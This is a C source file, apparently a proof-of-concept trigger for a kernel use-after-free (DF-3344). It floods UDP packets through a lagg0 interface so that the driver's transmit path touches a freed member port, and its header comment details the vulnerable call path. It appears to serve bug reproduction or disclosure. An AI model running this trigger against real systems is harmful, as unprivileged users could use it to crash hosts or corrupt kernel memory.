/*
 * udptx.c - unprivileged tx through lagg0 to exercise lagg_start()
 * with a stale (freed) member port. DF-3344 trigger.
 *
 * Every packet to a neighbor subnet forces ether_output -> lagg0
 * ifq -> lagg_start -> sc_select_tx_port -> lagg_link_active()
 * which dereferences lp->lp_ifp->if_link_state / if_flags of the
 * freed member ifnet, and may dispatch the netmsg to the freed
 * ifp's tx queue (ifq_dispatch write).
 *
 * Usage: ./udptx <srcif-ip-dest> [count]   e.g. ./udptx 10.66.7.2 20000
 */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

int
main(int argc, char **argv)
{
	struct sockaddr_in dst;
	const char *daddr = argc > 1 ? argv[1] : "10.66.7.2";
	int n = argc > 2 ? atoi(argv[2]) : 20000;
	int s, i, sent = 0;
	char payload[64];

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket");
	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(9);
	if (inet_pton(AF_INET, daddr, &dst.sin_addr) != 1)
		errx(1, "bad addr");
	memset(payload, 'A', sizeof(payload));

	/* bind to lagg0's address so the route goes out lagg0 */
	{
		struct sockaddr_in src;
		memset(&src, 0, sizeof(src));
		src.sin_family = AF_INET;
		src.sin_port = 0;
		src.sin_addr.s_addr = dst.sin_addr.s_addr & htonl(0xffffff00);
		src.sin_addr.s_addr |= htonl(1);	/* x.x.x.1 = lagg0 */
		if (bind(s, (struct sockaddr *)&src, sizeof(src)) != 0)
			warn("bind (continuing unbound)");
	}

	for (i = 0; i < n; i++) {
		if (sendto(s, payload, sizeof(payload), 0,
		    (struct sockaddr *)&dst, sizeof(dst)) >= 0)
			sent++;
	}
	printf("sent %d/%d udp packets via lagg0\n", sent, n);
	return (0);
}
